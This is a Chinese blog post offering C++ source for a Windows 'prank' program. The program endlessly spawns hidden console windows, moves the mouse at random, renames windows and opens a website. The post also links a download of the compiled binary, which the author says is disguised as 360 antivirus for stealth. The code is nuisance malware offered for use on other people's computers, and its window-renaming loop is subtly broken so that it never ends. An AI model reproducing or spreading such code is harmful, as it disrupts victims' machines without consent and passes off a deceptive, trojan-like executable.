整人代码max来了

本文耗时四个月创作出来,制作不易,给个赞吧qwq

效果

鼠标乱移、无限弹窗(保证电脑不会卡死)、隐藏原窗口、免疫Alt+F4、打开噪音窗口……

鉴于根本没有可截图空间,就不展示了

代码 

#define UNICODE 
#define _UNICODE 
#include <windows.h>
#include <vector>
#include <ctime>
#include <string>
#include <tlhelp32.h>
#include <psapi.h>
#include <shellapi.h>
 
int windowCount = 0;
std::vector<HWND> windows;
 
void CloseWindows(int count) {
    for (int i = 0; i < count && !windows.empty();  ++i) {
        PostMessage(windows.back(),  WM_CLOSE, 0, 0);
        windows.pop_back(); 
        windowCount--;
    }
}
 
void MoveMouseRandomly() {
    int x = rand() % GetSystemMetrics(SM_CXSCREEN);
    int y = rand() % GetSystemMetrics(SM_CYSCREEN);
    SetCursorPos(x, y);
}
 
void RenameAllWindows() {
    HWND hwnd = nullptr;
    while ((hwnd = FindWindowW(nullptr, nullptr)) != nullptr) {
        SetWindowTextW(hwnd, L"唔唔阿义"); 
    }
}
 
int main() {
    srand(time(0));
 
    ShellExecuteW(nullptr, L"open", L"https://haiyong.site/tools/yanhua/",  nullptr, nullptr, SW_SHOW);
 
    Sleep(3000);
    RenameAllWindows();
 
    while (true) {
        ShellExecuteW(nullptr, L"open", L"cmd.exe",  L"/c start", nullptr, SW_HIDE);
        windowCount++;
        windows.push_back(FindWindowW(L"ConsoleWindowClass",  nullptr)); 
 
        MoveMouseRandomly();
 
        if (windowCount >= 90) {
            CloseWindows(80);
        }
 
        Sleep(100);
    }
 
    return 0;
}

如果担心运行会爆炸,这里有成品

迅雷云盘迅雷云盘https://pan.xunlei.com/s/VOXHXjSxhHK0SCR17PgFimz6A1?pwd=v3jx#%E5%A4%8D%E5%88%B6%E8%BF%99%E6%AE%B5%E5%86%85%E5%AE%B9%E5%90%8E%E6%89%93%E5%BC%80%E8%BF%85%E9%9B%B7%EF%BC%8C%E6%9F%A5%E7%9C%8B%E6%9B%B4%E6%96%B9%E4%BE%BF

作者将其伪装为360杀毒,隐蔽性proMAX

给个赞吧,制作不易,求求辣  _oZ

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值